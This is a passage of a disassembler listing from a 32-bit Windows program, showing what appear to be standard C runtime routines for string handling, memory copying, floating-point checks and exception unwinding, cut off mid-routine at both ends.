loc_41CB15 mov edx, dword_4DBE38 loc_41CB15: ; CODE XREF: sub_41CAD4+39j ; sub_41CAD4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41CB35 test al, al jz short loc_41CB35 inc edx jmp short loc_41CB15 ; --------------------------------------------------------------------------- loc_41CB35: ; CODE XREF: sub_41CAD4+58j ; sub_41CAD4+5Cj mov ebx, edx loc_41CB37: ; CODE XREF: sub_41CAD4+81j mov al, [edx] test al, al jz short loc_41CB5B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41CB57 inc edx jmp short loc_41CB37 ; --------------------------------------------------------------------------- loc_41CB57: ; CODE XREF: sub_41CAD4+7Ej and byte ptr [edx], 0 inc edx loc_41CB5B: ; CODE XREF: sub_41CAD4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DBE38, edx and eax, ebx pop ebx leave retn sub_41CAD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB70 proc near ; CODE XREF: sub_409823+1Cp ; sub_415DAC+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41CBAE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41CBBB ; --------------------------------------------------------------------------- loc_41CBAE: ; CODE XREF: sub_41CB70+34j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41CBBB: ; CODE XREF: sub_41CB70+3Cj mov eax, esi pop esi leave retn sub_41CB70 endp ; =============== S U B R O U T I N E ======================================= sub_41CBC0 proc near ; CODE XREF: sub_40ADE1+88p ; sub_40B90E+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41CC74 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41CBEA loc_41CBDB: ; CODE XREF: sub_41CBC0+28j mov al, [edi] inc edi test al, al jz short loc_41CC1B test edi, 3 jnz short loc_41CBDB loc_41CBEA: ; CODE XREF: sub_41CBC0+19j ; sub_41CBC0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41CBEA mov eax, [edi-4] test al, al jz short loc_41CC28 test ah, ah jz short loc_41CC23 test eax, 0FF0000h jz short loc_41CC1E test eax, 0FF000000h jnz short loc_41CBEA loc_41CC1B: ; CODE XREF: sub_41CBC0+20j dec edi jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC1E: ; CODE XREF: sub_41CBC0+52j sub edi, 2 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC23: ; CODE XREF: sub_41CBC0+4Bj sub edi, 3 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC28: ; CODE XREF: sub_41CBC0+47j sub edi, 4 loc_41CC2B: ; CODE XREF: sub_41CBC0+5Cj ; sub_41CBC0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C jmp short loc_41CC5C ; --------------------------------------------------------------------------- loc_41CC40: ; CODE XREF: sub_41CBC0+75j ; sub_41CBC0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41CC7A mov [edi], dl inc edi dec ecx jz short loc_41CC70 test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C loc_41CC5C: ; CODE XREF: sub_41CBC0+7Ej ; sub_41CBC0+CAj mov ecx, ebx and ecx, 3 jz short loc_41CC70 loc_41CC63: ; CODE XREF: sub_41CBC0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41CC72 dec ecx jnz short loc_41CC63 loc_41CC70: ; CODE XREF: sub_41CBC0+8Bj ; sub_41CBC0+A1j mov [edi], cl loc_41CC72: ; CODE XREF: sub_41CBC0+ABj pop ebx pop esi loc_41CC74: ; CODE XREF: sub_41CBC0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CC7A: ; CODE XREF: sub_41CBC0+85j ; sub_41CBC0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CC84: ; CODE XREF: sub_41CBC0+E4j ; sub_41CBC0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41CC5C loc_41CC8C: ; CODE XREF: sub_41CBC0+7Cj ; sub_41CBC0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41CC84 test dl, dl jz short loc_41CC7A test dh, dh jz short loc_41CCD8 test edx, 0FF0000h jz short loc_41CCC8 test edx, 0FF000000h jnz short loc_41CC84 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCC8: ; CODE XREF: sub_41CBC0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCD8: ; CODE XREF: sub_41CBC0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41CBC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCE3 proc near ; CODE XREF: ___:0040B062p ; sub_40C2AF+40p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B9C0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420DB0 add esp, 10h leave retn sub_41CCE3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD20 proc near ; CODE XREF: sub_40B13C+62p ; sub_40B13C+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CD40 cmp edi, eax jb loc_41CEB8 loc_41CD40: ; CODE XREF: sub_41CD20+16j test edi, 3 jnz short loc_41CD5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- loc_41CD5C: ; CODE XREF: sub_41CD20+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CD74 and eax, 3 add ecx, eax jmp dword ptr loc_41CD7C+4[eax*4] ; --------------------------------------------------------------------------- loc_41CD74: ; CODE XREF: sub_41CD20+46j jmp dword ptr loc_41CE78[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD7C: ; CODE XREF: sub_41CD20+31j ; sub_41CD20+8Ej ... jmp off_41CDFC[ecx*4] ; --------------------------------------------------------------------------- db 2 dup(90h) db 0CDh, 41h, 0 dd offset loc_41CDBC dd offset loc_41CDE0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CDBC: ; DATA XREF: sub_41CD20+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CDE0: ; DATA XREF: sub_41CD20+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDFC dd offset loc_41CE5F ; DATA XREF: sub_41CD20:loc_41CD7Cr dd offset loc_41CE4C dd offset loc_41CE44 dd offset loc_41CE3C dd offset loc_41CE34 dd offset loc_41CE2C dd offset loc_41CE24 dd offset loc_41CE1C ; --------------------------------------------------------------------------- loc_41CE1C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CE24: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CE2C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CE34: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CE3C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CE44: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CE4C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CE5F: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20:off_41CDFCo jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CE68 dd offset loc_41CE78 ; DATA XREF: sub_41CD20+35r ; sub_41CD20+92r ... dd offset loc_41CE80 dd offset loc_41CE8C dd offset loc_41CEA0 ; --------------------------------------------------------------------------- loc_41CE78: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE80: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE8C: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CEA0: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CEB8: ; CODE XREF: sub_41CD20+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CEEC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CEE0: ; CODE XREF: sub_41CD20+1B1j ; sub_41CD20+208j ... neg ecx jmp off_41CFB0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEEC: ; CODE XREF: sub_41CD20+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CF04 and eax, 3 sub ecx, eax jmp dword ptr loc_41CF04+4[eax*4] ; --------------------------------------------------------------------------- loc_41CF04: ; CODE XREF: sub_41CD20+1D6j ; DATA XREF: sub_41CD20+1DDr jmp off_41D000[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF17+1 ; --------------------------------------------------------------------------- cmp bh, cl inc ecx add [eax-31h], ah inc ecx loc_41CF17: ; DATA XREF: sub_41CD20+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CFB4 dd offset loc_41CFBC dd offset loc_41CFC4 dd offset loc_41CFCC dd offset loc_41CFD4 dd offset loc_41CFDC dd offset loc_41CFE4 off_41CFB0 dd offset loc_41CFF7 ; DATA XREF: sub_41CD20+1C2r ; --------------------------------------------------------------------------- loc_41CFB4: ; DATA XREF: sub_41CD20+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CFBC: ; DATA XREF: sub_41CD20+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CFC4: ; DATA XREF: sub_41CD20+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CFCC: ; DATA XREF: sub_41CD20+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CFD4: ; DATA XREF: sub_41CD20+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CFDC: ; DATA XREF: sub_41CD20+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CFE4: ; DATA XREF: sub_41CD20+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CFF7: ; CODE XREF: sub_41CD20+1C2j ; DATA XREF: sub_41CD20:off_41CFB0o jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D000 dd offset loc_41D010 ; DATA XREF: sub_41CD20+1B7r ; sub_41CD20:loc_41CF04r ... dd offset loc_41D018 dd offset loc_41D028 dd offset loc_41D03C ; --------------------------------------------------------------------------- loc_41D010: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D018: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D028: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D03C: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CD20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D055(double) sub_41D055 proc near ; CODE XREF: sub_40D2F4+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE20 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D0DB call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D0BE cmp eax, 2 jle short loc_41D0B0 cmp eax, 3 jnz short loc_41D0BE fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_421861 add esp, 10h jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0B0: ; CODE XREF: sub_41D055+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0BE: ; CODE XREF: sub_41D055+3Aj ; sub_41D055+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41D118 ; --------------------------------------------------------------------------- loc_41D0DB: ; CODE XREF: sub_41D055+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D0FE loc_41D0F0: ; CODE XREF: sub_41D055+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0FE: ; CODE XREF: sub_41D055+99j test bl, 20h jnz short loc_41D0F0 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41D118: ; CODE XREF: sub_41D055+84j call sub_4218B4 add esp, 1Ch loc_41D120: ; CODE XREF: sub_41D055+59j ; sub_41D055+67j ... pop esi pop ebx leave retn sub_41D055 endp ; =============== S U B R O U T I N E ======================================= sub_41D124 proc near ; CODE XREF: ___:0041C16Dp ; sub_422152+21p ; DATA XREF: ... call sub_41D13C call sub_422152 mov dword_4DBE40, eax call sub_422102 fnclex retn sub_41D124 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41D13C proc near ; CODE XREF: sub_41D124p mov eax, offset sub_422540 mov off_43D434, offset sub_4221D5 mov off_43D430, eax mov off_43D438, offset sub_42223B mov off_43D43C, offset sub_42217B mov off_43D440, offset sub_422223 mov off_43D444, eax retn sub_41D13C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D174 proc near ; CODE XREF: sub_40D2F4+1Bp ; sub_40D2F4+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41D174 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D19B(double) sub_41D19B proc near ; CODE XREF: sub_40D340+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE38 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D221 call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D204 cmp eax, 2 jle short loc_41D1F6 cmp eax, 3 jnz short loc_41D204 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_421861 add esp, 10h jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D1F6: ; CODE XREF: sub_41D19B+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D204: ; CODE XREF: sub_41D19B+3Aj ; sub_41D19B+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41D25E ; --------------------------------------------------------------------------- loc_41D221: ; CODE XREF: sub_41D19B+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D244 loc_41D236: ; CODE XREF: sub_41D19B+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D244: ; CODE XREF: sub_41D19B+99j test bl, 20h jnz short loc_41D236 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41D25E: ; CODE XREF: sub_41D19B+84j call sub_4218B4 add esp, 1Ch loc_41D266: ; CODE XREF: sub_41D19B+59j ; sub_41D19B+67j ... pop esi pop ebx leave retn sub_41D19B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D26A proc near ; CODE XREF: ___:00422A22p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41D26A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41D29E proc near ; CODE XREF: sub_422B62+199p ; sub_422D26+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D29E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D2A5 proc near ; CODE XREF: sub_422B62+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D2A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D2AC proc near ; CODE XREF: sub_41D45E+5Cp ; sub_4229B1:loc_4229E2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41D2D4 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_426356 sub_41D2AC endp ; --------------------------------------------------------------------------- loc_41D2D4: ; DATA XREF: sub_41D2AC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41D2FB: ; CODE XREF: ___:00426AACj ; ___:00426AC9j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4225B6 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D331 proc near ; CODE XREF: sub_422A2C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41D385 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422DB0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41D331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D385 proc near ; DATA XREF: sub_41D331+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h pop ebp retn sub_41D385 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D3AA proc near ; CODE XREF: sub_4227F8+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D45E mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D430 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DBE80 pop ecx pop ecx and [ebp+var_34], 0 loc_41D430: ; DATA XREF: sub_41D3AA+3Co cmp [ebp+var_4], 0 jz short loc_41D44D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D456 ; --------------------------------------------------------------------------- loc_41D44D: ; CODE XREF: sub_41D3AA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41D456: ; CODE XREF: sub_41D3AA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41D3AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D45E proc near ; DATA XREF: sub_41D3AA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41D481 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41D4CE ; --------------------------------------------------------------------------- loc_41D481: ; CODE XREF: sub_41D45E+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41D4BF push [ebp+arg_0] push [ebp+arg_4] call sub_41D2AC ; --------------------------------------------------------------------------- loc_41D4BF: ; CODE XREF: sub_41D45E+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41D4CE: ; CODE XREF: sub_41D45E+21j pop edi pop esi pop ebx pop ebp retn sub_41D45E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4D3 proc near ; CODE XREF: sub_422651+C6p ; sub_4227F8+43p var_4 = dword ptr -4 arg_0 = 